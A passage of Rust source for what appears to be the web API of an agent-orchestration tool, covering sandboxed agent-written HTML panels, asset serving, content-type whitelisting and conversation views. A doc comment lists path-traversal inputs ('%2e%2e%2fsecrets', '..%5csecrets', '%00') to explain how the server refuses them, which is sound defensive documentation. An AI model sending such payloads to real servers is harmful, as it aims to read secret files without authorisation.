9045        #[cfg(test)]
9046        if let Some((talk, cfg, turn_guard)) = reclaimed {
9047            let talks = ui.talks.clone();
9048            let id = talk.id.clone();
9049            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9050        }
9051        Ok((StatusCode::ACCEPTED, Json(view)))
9052    })
9053    .await
9054}
9055
9056/// Expand an id or short id to exactly one question id.
9057fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
9058    if plain_record_id(id) && store.path_of(id).is_file() {
9059        return Ok(id.to_owned());
9060    }
9061    pick(
9062        store.list().into_iter().map(|q| q.id).collect(),
9063        id,
9064        "question",
9065    )
9066}
9067
9068/// `GET /api/questions/{id}/panel`.
9069///
9070/// The panel an agent wrote for this question, as `text/html` under
9071/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
9072/// A question without one is a 404 rather than an empty page: the client
9073/// preflights this route with `HEAD` and must be able to tell "no panel" from
9074/// "a panel that rendered blank", and a sandboxed frame is opaque to the
9075/// parent document so it cannot tell the difference by looking.
9076///
9077/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
9078/// sanitises or minifies it - a sanitiser is a list of things someone thought
9079/// of, and the sandbox plus the CSP is a list of things that are allowed, which
9080/// is the direction that stays safe when an agent writes markup nobody
9081/// predicted.
9082async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
9083    blocking(move || {
9084        let id = resolve_question(&ui.questions, &id)?;
9085        let Some(html) = ui.questions.panel_html(&id) else {
9086            return Err(ApiError::not_found(format!("question {id} has no panel")));
9087        };
9088        Ok(panel_response(
9089            "text/html; charset=utf-8",
9090            false,
9091            html.into_bytes(),
9092        ))
9093    })
9094    .await
9095}
9096
9097/// `GET /api/questions/{id}/asset/{name}`.
9098///
9099/// One file from the question's own panel directory, so a panel can show a
9100/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
9101/// having to allow anything off this machine.
9102///
9103/// This is the only route in the server where a client names a file, so it is
9104/// the only one with a traversal surface, and the name is checked by
9105/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
9106/// what is worth being explicit about, because the answer is not "all of it in
9107/// one place":
9108///
9109/// * `asset/../../secrets` never reaches this handler at all. axum matches on
9110///   the raw request path and `{name}` spans exactly one segment, so a real
9111///   slash makes the request too long for the route and the router answers 404.
9112/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
9113///   percent-decodes path parameters, so `name` arrives as `../secrets` and
9114///   `..\secrets` respectively, which look like plain filenames to the router.
9115///   The validator refuses them here - both for the literal `..` and because
9116///   `/` and `\` are not in the permitted character set - and answers 400.
9117/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
9118///   the platform's path API is not, and it is refused here for the same
9119///   reason: NUL is not a permitted character.
9120/// * [`Questions::panel_asset`] validates again on read, so the check is not
9121///   load-bearing in only one place. This route's own check exists so the
9122///   failure is a 400 that says which name was wrong, rather than a store error
9123///   the operator has to interpret.
9124async fn question_asset(
9125    State(ui): State<Arc<Ui>>,
9126    Path((id, name)): Path<(String, String)>,
9127) -> ApiResult<Response> {
9128    // Before any filesystem work and before any path is built: a name this
9129    // server will not serve should not become a `PathBuf` at all.
9130    if !crate::ask::valid_asset_name(&name) {
9131        return Err(ApiError::bad_request(format!(
9132            "`{name}` is not a usable asset name"
9133        )));
9134    }
9135    blocking(move || {
9136        let id = resolve_question(&ui.questions, &id)?;
9137        let asset = ui
9138            .questions
9139            .panel_asset(&id, &name)
9140            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
9141        let Some(bytes) = asset else {
9142            return Err(ApiError::not_found(format!(
9143                "question {id} has no asset `{name}`"
9144            )));
9145        };
9146        Ok(panel_response(
9147            asset_content_type(&name),
9148            is_svg(&name),
9149            bytes,
9150        ))
9151    })
9152    .await
9153}
9154
9155/// Content type for a panel asset, from a closed whitelist.
9156///
9157/// A whitelist with an `application/octet-stream` fallback rather than a
9158/// guess, because the one answer that must never come out of here is
9159/// `text/html`. An agent that writes `notes.html` into its panel directory and
9160/// links it would otherwise get its own markup rendered at the top level of the
9161/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
9162/// magi's origin - which is precisely the thing the panel design exists to
9163/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
9164///
9165/// `nosniff` accompanies this on every response, so a browser cannot decide it
9166/// knows better than the type we sent.
9167fn asset_content_type(name: &str) -> &'static str {
9168    match extension(name).as_deref() {
9169        Some("png") => "image/png",
9170        Some("jpg" | "jpeg") => "image/jpeg",
9171        Some("gif") => "image/gif",
9172        Some("webp") => "image/webp",
9173        Some("svg") => "image/svg+xml",
9174        Some("css") => "text/css; charset=utf-8",
9175        Some("txt") => "text/plain; charset=utf-8",
9176        _ => "application/octet-stream",
9177    }
9178}
9179
9180/// Is this an SVG, and therefore a file that must never be opened at the top
9181/// level?
9182fn is_svg(name: &str) -> bool {
9183    extension(name).as_deref() == Some("svg")
9184}
9185
9186/// Lowercased extension, or `None` for a name without one.
9187fn extension(name: &str) -> Option<String> {
9188    name.rsplit_once('.')
9189        .map(|(_, ext)| ext.to_ascii_lowercase())
9190}
9191
9192/// Every panel response, with the four headers that make it safe and, for an
9193/// SVG, a fifth.
9194///
9195/// One function rather than a header list per handler, because a panel route
9196/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
9197/// model gone, silently, on one of two routes. Adding a third panel route later
9198/// means calling this, and there is nowhere else to build a panel response.
9199///
9200/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
9201/// as an `<img src>` inside the panel that script cannot run - but the asset
9202/// URL is also a plain URL an operator can be talked into opening in a tab,
9203/// where it is a document on magi's own origin. `Content-Disposition:
9204/// attachment` makes the browser download it instead of rendering it, which
9205/// closes that door without taking away the ability to draw a diff. Raster
9206/// images have no such execution surface and are left inline, so tapping a
9207/// screenshot still shows it.
9208fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
9209    let mut res = (
9210        [
9211            (header::CONTENT_TYPE, content_type),
9212            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
9213            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9214            (header::REFERRER_POLICY, "no-referrer"),
9215        ],
9216        body,
9217    )
9218        .into_response();
9219    if download {
9220        res.headers_mut().insert(
9221            header::CONTENT_DISPOSITION,
9222            HeaderValue::from_static("attachment"),
9223        );
9224    }
9225    res
9226}
9227
9228/// A talk as the phone reads it.
9229///
9230/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
9231/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
9232/// parses markdown itself - and the process-local `thinking` hint.
9233#[derive(Debug, Serialize)]
9234struct ChatApproval {
9235    question: String,
9236    target: crate::merge_decision::Target,
9237}
9238
9239#[derive(Debug, Serialize)]
9240struct TalkView {
9241    #[serde(flatten)]
9242    talk: Talk,
9243    turn_bodies_md: Vec<Vec<md::Node>>,
9244    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
9245    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
9246    pending_messages_md: Vec<Option<Vec<md::Node>>>,
9247    merge_approvals: Vec<ChatApproval>,
9248    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
9249    /// this server process.
9250    ///
9251    /// This is deliberately not durable: another server process cannot see
9252    /// it, and a restarted server must not claim an old turn is live. It is a
9253    /// progress hint rather than proof a reply landed; the transcript remains
9254    /// the source of truth for that.
9255    thinking: bool,
9256    /// Context-window usage, derived per request - see
9257    /// [`talk::context_usage`]. Carried on every talk response (list, detail
9258    /// and each mutation) so the phone needs no extra call or polling.
9259    context: talk::ContextUsage,
9260    /// `[talk] operator_name`, when configured; the Chat labels the
9261    /// operator's turns with it.
9262    operator_name: Option<String>,
9263    /// The active persona's display name; `None` for the default voice.
9264    persona_name: Option<String>,
9265    /// URL of the avatar for the conversation's persona (the default voice
9266    /// included). Server-built; a configured `icon` never reaches the client.
9267    persona_avatar: String,
9268    /// Operator avatar; display only and independent of repository config.
9269    operator_avatar: String,
9270    magi_avatar: String,
9271}
9272
9273impl TalkView {
9274    /// Reads the talk's repository config itself; a config that cannot be
9275    /// read leaves the window unknown but never fails the conversation.
9276    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
9277        let cfg = talk.config().ok();
9278        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
9279    }
9280
9281    /// As [`Self::new`], with the config already in hand (the list reads one
9282    /// per repository, not one per conversation).
9283    fn with_config(
9284        talk: Talk,
9285        thinking: bool,
9286        cfg: Option<&Config>,
9287        home: &FsPath,
9288        cache: &id_links::IndexCache,
9289    ) -> Self {
9290        let references = cache.for_talk(home, &talk);
9291        Self::with_references(talk, thinking, cfg, home, &references)
9292    }
9293
9294    fn with_references(
9295        mut talk: Talk,
9296        thinking: bool,
9297        cfg: Option<&Config>,
9298        home: &FsPath,
9299        references: &id_links::IdIndex,
9300    ) -> Self {
9301        // This owned value is the display DTO; never write it back to the talk store.
9302        let snapshot = talk.clone();
9303        for (index, turn) in talk.turns.iter_mut().enumerate() {
9304            let original = &snapshot.turns[index];
9305            if turn.messages.is_empty() {
9306                if let Some(display) = talk::notice_display(&snapshot, original, None) {
9307                    turn.messages.push(talk::Message {
9308                        sender: Some(talk::Sender::Magi),
9309                        accepted_at: None,
9310                        body: original.body.clone(),
9311                        display: Some(display),
9312                        recovery_event: None,
9313                        attachments: original.attachments.clone(),
9314                        reply: None,
9315                    });
9316                }
9317            } else {
9318                for (i, message) in turn.messages.iter_mut().enumerate() {
9319                    message.display =
9320                        talk::notice_display(&snapshot, original, original.messages.get(i));
9321                    if message.display.is_some() {
9322                        message.sender = Some(talk::Sender::Magi);
9323                    }
9324                }
9325            }
9326        }
9327        for message in &mut talk.pending_messages {
9328            if message.display.is_none()
9329                && (message.sender == Some(talk::Sender::Magi)
9330                    || snapshot
9331                        .completion_notices
9332                        .iter()
9333                        .any(|r| r.notice == message.body))
9334            {
9335                message.display = crate::prompt::legacy_notice_display(&message.body);
9336                if message.display.is_some() {
9337                    message.sender = Some(talk::Sender::Magi);
9338                }
9339            }
9340        }
9341        if talk.pending_messages.is_empty()
9342            && snapshot
9343                .completion_notices
9344                .iter()
9345                .any(|r| r.notice == talk.pending)
9346            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
9347        {
9348            talk.pending_messages.push(talk::Message {
9349                sender: Some(talk::Sender::Magi),
9350                accepted_at: None,
9351                display: Some(display),
9352                recovery_event: None,
9353                body: talk.pending.clone(),
9354                attachments: talk.pending_attachments.clone(),
9355                reply: None,
9356            });
9357        }
9358        let excerpts: Vec<Vec<Option<String>>> = talk
9359            .turns
9360            .iter()
9361            .map(|turn| {
9362                turn.messages
9363                    .iter()
9364                    .map(|m| {
9365                        m.display
9366                            .as_ref()
9367                            .map(|d| d.facts.chars().take(240).collect())
9368                    })
9369                    .collect()
9370            })
9371            .collect();
9372        for turn in &mut talk.turns {
9373            let provenance = talk::sender(turn, None);
9374            turn.sender = Some(provenance);
9375            for message in &mut turn.messages {
9376                message.sender = Some(message.sender.unwrap_or(provenance));
9377            }
9378        }
9379        // Old reply snapshots have only a role; recover provenance from their target.
9380        let senders: Vec<Vec<talk::Sender>> = talk
9381            .turns
9382            .iter()
9383            .map(|turn| {
9384                if turn.messages.is_empty() {
9385                    vec![talk::sender(turn, None)]
9386                } else {
9387                    turn.messages
9388                        .iter()
9389                        .map(|m| talk::sender(turn, Some(m)))
9390                        .collect()
9391                }
9392            })
9393            .collect();
9394        for reply in talk
9395            .turns
9396            .iter_mut()
9397            .flat_map(|t| t.messages.iter_mut())
9398            .chain(talk.pending_messages.iter_mut())
9399            .filter_map(|m| m.reply.as_mut())
9400        {
9401            if let Some(Some(excerpt)) = excerpts
9402                .get(reply.target.turn)
9403                .and_then(|ms| ms.get(reply.target.message))
9404            {
9405                reply.excerpt = excerpt.clone();
9406                reply.sender = Some(talk::Sender::Magi);
9407            }
9408            if reply.sender.is_none() {
9409                reply.sender = senders
9410                    .get(reply.target.turn)
9411                    .and_then(|messages| messages.get(reply.target.message))
9412                    .copied();
9413            }
9414        }
9415        let context = talk::context_usage(&talk, cfg);
9416        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9417            .turns
9418            .iter()
9419            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9420            .collect();
9421        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9422            .turns
9423            .iter()
9424            .map(|turn| {
9425                if turn.messages.is_empty() {
9426                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9427                } else {
9428                    turn.messages
9429                        .iter()
9430                        .map(|message| {
9431                            notice_markdown(
9432                                message.sender.unwrap_or(talk::Sender::Operator),
9433                                &message.body,
9434                                message.display.as_ref(),
9435                            )
9436                        })
9437                        .collect()
9438                }
9439            })
9440            .collect();
9441        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9442            .pending_messages
9443            .iter()
9444            .map(|message| {
9445                notice_markdown(
9446                    message.sender.unwrap_or(talk::Sender::Operator),
9447                    &message.body,
9448                    message.display.as_ref(),
9449                )
9450            })
9451            .collect();
9452        for nodes in &mut turn_bodies_md {
9453            references.markdown(nodes);
9454        }
9455        for nodes in turn_messages_md
9456            .iter_mut()
9457            .flatten()
9458            .chain(pending_messages_md.iter_mut())
9459            .flatten()
9460        {
9461            references.markdown(nodes);
9462        }
9463        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9464        let persona_name = persona::find(specs, &talk.persona)
9465            .filter(|p| !p.is_default())
9466            .map(|p| p.name);
9467        let mut avatar_persona = persona::find(specs, &talk.persona)
9468            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9469        // A removed configured persona may still have an override and old talks.
9470        if avatar_persona.id != talk.persona
9471            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9472        {
9473            avatar_persona.id.clone_from(&talk.persona);
9474            avatar_persona.icon = None;
9475        }
9476        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9477        let approvals_store = ask::Questions::at(home.join("questions"));
9478        let merge_approvals = talk
9479            .notified
9480            .iter()
9481            .filter_map(|key| key.strip_prefix("question:"))
9482            .filter_map(|id| approvals_store.get(id).ok())
9483            .filter(|q| !crate::task_chat::source_retired(home, &q.id))
9484            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9485            .filter_map(|q| {
9486                Some(ChatApproval {
9487                    question: q.id,
9488                    target: q.merge_target?,
9489                })
9490            })
9491            .collect();
9492        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9493        Self {
9494            turn_bodies_md,
9495            turn_messages_md,
9496            pending_messages_md,
9497            merge_approvals,
9498            thinking,
9499            context,
9500            operator_name,
9501            persona_name,
9502            persona_avatar,
9503            magi_avatar: magi_icon_url(home),
9504            operator_avatar: operator_icon_url(home),
9505            talk,
9506        }
9507    }
9508}
9509
9510/// Parse only the user-facing representation of an explicitly identified MAGI send.
9511fn notice_markdown(
9512    sender: talk::Sender,
9513    body: &str,
9514    display: Option<&crate::prompt::NoticeDisplay>,
9515) -> Option<Vec<md::Node>> {
9516    if sender != talk::Sender::Magi {
9517        return None;
9518    }
9519    let text = if let Some(display) = display {
9520        display.facts.as_str()
9521    } else {
9522        // Unknown completion templates may contain internal directives. Never
9523        // promote their agent input to the Markdown display surface.
9524        if crate::prompt::is_completion_notice(body)
9525            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9526        {
9527            return None;
9528        }
9529        body.strip_prefix("magi: ").unwrap_or(body)
9530    };
9531    Some(md::to_nodes(text, &md::ImageBase::None))
9532}
9533
9534/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9535/// conversation has filed, so the phone can follow one from inside the
9536/// conversation that asked for it rather than hunting the Queue for a task id
9537/// it may not remember.
9538#[derive(Debug, Serialize)]
9539struct TalkDetailView {
9540    #[serde(flatten)]
9541    view: TalkView,
9542    tasks: Vec<TaskView>,
9543    task_progress: TalkTaskProgress,
9544    goal_link: Option<TalkGoalLink>,
9545    goal_link_for: Timestamp,
9546    /// The agents this talk's repository can switch to; empty when its
9547    /// configuration cannot be read, which must not fail the whole detail.
9548    roster: Vec<RosterEntry>,
9549    /// The personas the conversation can pick from. The built-ins are always
9550    /// listed, even when the repository's configuration cannot be read.
9551    personas: Vec<PersonaEntry>,
9552}
9553
9554/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9555#[derive(Debug, Serialize)]
9556struct TalkTaskProgress {
9557    state: &'static str,
9558    total: usize,
9559    done: usize,
9560    counts: std::collections::BTreeMap<&'static str, usize>,
9561    unfinished_ids: Vec<String>,
9562}
9563
9564fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9565    let mut counts = std::collections::BTreeMap::from([
9566        ("queued", 0),
9567        ("running", 0),
9568        ("done", 0),
9569        ("failed", 0),
9570        ("held", 0),
9571        ("blocked", 0),
9572        ("parked", 0),
9573    ]);
9574    let mut unfinished_ids = Vec::new();
9575    for task in tasks {
9576        *counts.entry(task.status.as_str()).or_default() += 1;
9577        if task.status != TaskStatus::Done {
9578            unfinished_ids.push(task.id.clone());
9579        }
9580    }
9581    TalkTaskProgress {
9582        state: if tasks.is_empty() {
9583            "none"
9584        } else if unfinished_ids.is_empty() {
9585            "complete"
9586        } else {
9587            "incomplete"
9588        },
9589        total: tasks.len(),
9590        done: tasks.len() - unfinished_ids.len(),
9591        counts,
9592        unfinished_ids,
9593    }
9594}
9595
9596/// Prefer a referenced task's current Run or Task, then an explicitly
9597/// referenced same-repository Run. Missing/deleted records leave the goal readable.
9598#[derive(Debug, Serialize)]
9599struct TalkGoalLink {
9600    goal: String,
9601    kind: &'static str,
9602    id: String,
9603}
9604
9605fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9606    let goal = crate::chat_goal::Goal::selected(talk)?;
9607    let repo = goal.effective_repo(&talk.repo);
9608    let valid_run = |id: &str| {
9609        plain_record_id(id)
9610            && read_run(runs, id).is_ok_and(|state| {
9611                state.id == id
9612                    && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9613            })
9614    };
9615    for id in goal.tasks.iter().rev() {
9616        let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9617            continue;
9618        };
9619        // Repository reassignments retain historical runs. Only this task's
9620        // current execution can be presented as the goal's current Run.
9621        if let Some(run) = task.execution_runs().last()
9622            && valid_run(run)
9623        {
9624            return Some(TalkGoalLink {
9625                goal: goal.id.clone(),
9626                kind: "run",
9627                id: run.clone(),
9628            });
9629        }
9630        return Some(TalkGoalLink {
9631            goal: goal.id.clone(),
9632            kind: "task",
9633            id: task.id,
9634        });
9635    }
9636    for id in goal.runs.iter().rev() {
9637        if valid_run(id) {
9638            return Some(TalkGoalLink {
9639                goal: goal.id.clone(),
9640                kind: "run",
9641                id: id.clone(),
9642            });
9643        }
9644    }
9645    None
9646}
9647
9648/// One persona as the talk's persona selector shows it.
9649#[derive(Debug, Serialize)]
9650struct PersonaEntry {
9651    id: String,
9652    name: String,
9653    /// Avatar URL, see [`TalkView::persona_avatar`].
9654    avatar: String,
9655}
9656
9657/// One roster agent as the talk's agent selector shows it.
9658#[derive(Debug, Serialize)]
9659struct RosterEntry {
9660    id: String,
9661    kind: AgentKind,
9662    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9663    runnable: bool,
9664}
9665
9666/// Bounded summaries; `/page` carries a cursor for older membership.
9667async fn talks_list(
9668    State(ui): State<Arc<Ui>>,
9669    Query(q): Query<ListQuery>,
9670    headers: header::HeaderMap,
9671) -> ApiResult<Json<Vec<TalkListView>>> {
9672    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9673        let limit = q.limit.unwrap_or(50).min(50);
9674        let ids = if let Some(ids) = q.ids {
9675            ids.split(',')
9676                .filter(|id| plain_record_id(id))
9677                .take(limit)
9678                .map(str::to_owned)
9679                .collect()
9680        } else {
9681            page_ids(&ui, true, PageQuery::default())?
9682                .0
9683                .into_iter()
9684                .take(limit.min(STORE_PAGE_SIZE))
9685                .collect()
9686        };
9687        Ok(Json(talk_rows(&ui, ids, &headers)))
9688    })
9689    .await
9690}
9691
9692/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9693/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9694/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9695/// end still opens a talk against an older binary.
9696#[derive(Debug, Default, Deserialize)]
9697#[serde(default)]
9698struct NewTalk {
9699    agent: Option<String>,
9700    repo: Option<PathBuf>,
9701    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9702    /// wrong type is dropped like a stale value instead of failing the request;
9703    /// each falls back to its default on its own (see [`talk::begin_with`]).
9704    preferred_agent: Option<serde_json::Value>,
9705    persona: Option<serde_json::Value>,
9706    implementers: Option<serde_json::Value>,
9707}
9708
9709/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9710/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9711async fn talk_post(
9712    State(ui): State<Arc<Ui>>,
9713    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9714) -> ApiResult<impl IntoResponse> {
9715    // An absent body, or an empty one, is the normal way to open a talk - see
9716    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9717    // rather than refused.
9718    let body = match body {
9719        Ok(Json(body)) => body,
9720        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9721        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9722    };
9723    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9724    let cfg = config_for(&repo).await?;
9725    let view = blocking(move || {
9726        let preferred = talk::Preferred {
9727            agent: body
9728                .preferred_agent
9729                .as_ref()
9730                .and_then(|v| v.as_str())
9731                .map(str::to_owned),
9732            persona: body
9733                .persona
9734                .as_ref()
9735                .and_then(|v| v.as_str())
9736                .map(str::to_owned),
9737            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9738        };
9739        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9740        let thinking = ui.is_thinking(&talk.id);
9741        Ok(TalkView::new(talk, thinking, &ui))
9742    })
9743    .await?;
9744    Ok((StatusCode::CREATED, Json(view)))
9745}
9746
9747/// Transcript first: unrelated queue history and repository probes are deferred.
9748async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9749    // Keep transcript reads independent of sections and the runtime blocking pool.
9750    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9751        let id = resolve_talk(&ui.talks, &id)?;
9752        let talk = ui.talks.get(&id)?;
9753        let thinking = ui.is_thinking_observed(&id);
9754        // The browser already resolves Markdown text/code references after
9755        // rendering. A cold reference/review index must not gate the transcript.
9756        Ok(Json(TalkView::with_references(
9757            talk,
9758            thinking,
9759            None,
9760            &ui.home,
9761            &id_links::IdIndex::default(),
9762        )))
9763    })
9764    .await
9765}
9766
9767async fn talk_sections(
9768    State(ui): State<Arc<Ui>>,
9769    Path(id): Path<String>,
9770) -> ApiResult<Json<serde_json::Value>> {
9771    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9772        let id = resolve_talk(&ui.talks, &id)?;
9773        let talk = ui.talks.get(&id)?;
9774        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9775        let task_progress = talk_task_progress(&tasks);
9776        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9777        let tasks: Vec<_> = tasks
9778            .into_iter()
9779            .map(|task| {
9780                serde_json::json!({
9781                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9782                })
9783            })
9784            .collect();
9785        let cfg = talk.config().ok();
9786        let roster: Vec<_> = cfg
9787            .as_ref()
9788            .map(|cfg| {
9789                cfg.agents
9790                    .iter()
9791                    .map(|a| RosterEntry {
9792                        id: a.id.clone(),
9793                        kind: a.kind,
9794                        runnable: agent::installed(a),
9795                    })
9796                    .collect()
9797            })
9798            .unwrap_or_default();
9799        let specs = cfg
9800            .as_ref()
9801            .map(|cfg| cfg.talk.personas.clone())
9802            .unwrap_or_default();
9803        let personas: Vec<_> = persona::catalog(&specs)
9804            .into_iter()
9805            .map(|p| PersonaEntry {
9806                avatar: avatar_url(&ui.home, &talk.id, &p),
9807                id: p.id,
9808                name: p.name,
9809            })
9810            .collect();
9811        let active_persona = persona::find(&specs, &talk.persona)
9812            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9813        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9814        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9815        Ok(Json(serde_json::json!({
9816            "tasks": tasks, "task_progress": task_progress,
9817            "goal_link": goal_link, "goal_link_for": talk.updated_at,
9818            "roster": roster, "personas": personas,
9819            "context": talk::context_usage(&talk, cfg.as_ref()),
9820            "context_for": talk.updated_at,
9821            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9822            "persona_name": persona_name,
9823            "persona_avatar": persona_avatar,
9824        })))
9825    })
9826    .await
9827}
9828
9829/// `GET /api/talks/{id}`.
9830async fn talk_detail(
9831    State(ui): State<Arc<Ui>>,
9832    Path(id): Path<String>,
9833) -> ApiResult<Json<TalkDetailView>> {
9834    blocking(move || {
9835        let id = resolve_talk(&ui.talks, &id)?;
9836        let talk = ui.talks.get(&id)?;
9837        let thinking = ui.is_thinking_observed(&talk.id);
9838        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9839        let task_progress = talk_task_progress(&tasks);
9840        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9841        let goal_link_for = talk.updated_at;
9842        let tasks = tasks.into_iter().map(TaskView::from).collect();
9843        let cfg = talk.config().ok();
9844        let roster = cfg
9845            .as_ref()
9846            .map(|cfg| {
9847                cfg.agents
9848                    .iter()
9849                    .map(|a| RosterEntry {
9850                        id: a.id.clone(),
9851                        kind: a.kind,
9852                        runnable: agent::installed(a),
9853                    })
9854                    .collect()
9855            })
9856            .unwrap_or_default();
9857        let specs = cfg
9858            .as_ref()
9859            .map(|cfg| cfg.talk.personas.clone())
9860            .unwrap_or_default();
9861        let personas = persona::catalog(&specs)
9862            .into_iter()
9863            .map(|p| PersonaEntry {
9864                avatar: avatar_url(&ui.home, &talk.id, &p),
9865                id: p.id,
9866                name: p.name,
9867            })
9868            .collect();
9869        Ok(Json(TalkDetailView {
9870            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9871            tasks,
9872            task_progress,
9873            goal_link,
9874            goal_link_for,
9875            roster,
9876            personas,
9877        }))
9878    })
9879    .await
9880}
9881
9882/// The body of `POST /api/talks/{id}/say`.
9883///
9884/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9885/// returned - never bytes of its own - so a turn with no images just omits
9886/// the field, which is what an older front end still does.
9887#[derive(Debug, Default, Deserialize)]
9888#[serde(default, deny_unknown_fields)]
9889struct NewTalkTurn {
9890    reply_to: Option<talk::ReplyTarget>,
9891    text: String,
9892    attachments: Vec<String>,
9893}
9894
9895#[derive(Debug, Deserialize)]
9896#[serde(deny_unknown_fields)]
9897struct EditTalkPending {
9898    #[serde(default)]
9899    message: Option<usize>,
9900    text: String,
9901    expected_text: String,
9902    expected_attachments: Vec<String>,
9903}
9904
9905#[derive(Debug, Deserialize)]
9906#[serde(deny_unknown_fields)]
9907struct ClearTalkPending {
9908    expected_text: String,
9909    expected_attachments: Vec<String>,
9910}
9911
9912/// `POST /api/talks/{id}/say` - one turn of the conversation.
9913///
9914/// Not filesystem work, and therefore not routed through [`blocking`]: this
9915/// route spawns an agent CLI and a turn here can run for the whole of
9916/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9917/// research turn is expected to run commands rather than answer from what it
9918/// already knows. Holding an HTTP connection open that long is not a thing
9919/// to ask a phone to do; the operator's message is recorded and answered for
9920/// immediately, and the reply lands in the background, discovered through
9921/// the change stream's `talks_rev` the same way every other update on this
9922/// surface is.
9923async fn talk_say(
9924    State(ui): State<Arc<Ui>>,
9925    Path(id): Path<String>,
9926    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9927) -> ApiResult<(StatusCode, Json<TalkView>)> {
9928    let admission = ui.begin_admission()?;
9929    admitted(admission, async move {
9930    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9931    if body.text.trim().is_empty() && body.attachments.is_empty() {
9932        return Err(ApiError::bad_request("say something"));
9933    }
9934
9935    let id = {
9936        let ui = Arc::clone(&ui);
9937        let asked = id.clone();
9938        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9939    };
9940    // A closed Talk never accepts a new immediate or queued turn. Check this
9941    // before claiming a slot so its ordinary domain refusal is a 409, not an
9942    // incidental failure from the later record/queue write.
9943    {
9944        let ui = Arc::clone(&ui);
9945        let id = id.clone();
9946        blocking(move || {
9947            let talk = ui.talks.get(&id)?;
9948            if !talk.status.open() {
9949                return Err(ApiError::conflict(format!(
9950                    "talk {} is {} and takes no more turns",
9951                    talk.short(),
9952                    talk.status.as_str()
9953                )));
9954            }
9955            Ok(())
9956        })
9957        .await?;
9958    }
9959
9960    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9961    // actually stores, before anything is written - an unknown id is a 4xx
9962    // that names it rather than a turn (or a queued draft) silently missing
9963    // an image.
9964    let attachments = {
9965        let ui = Arc::clone(&ui);
9966        let id = id.clone();
9967        let ids = body.attachments.clone();
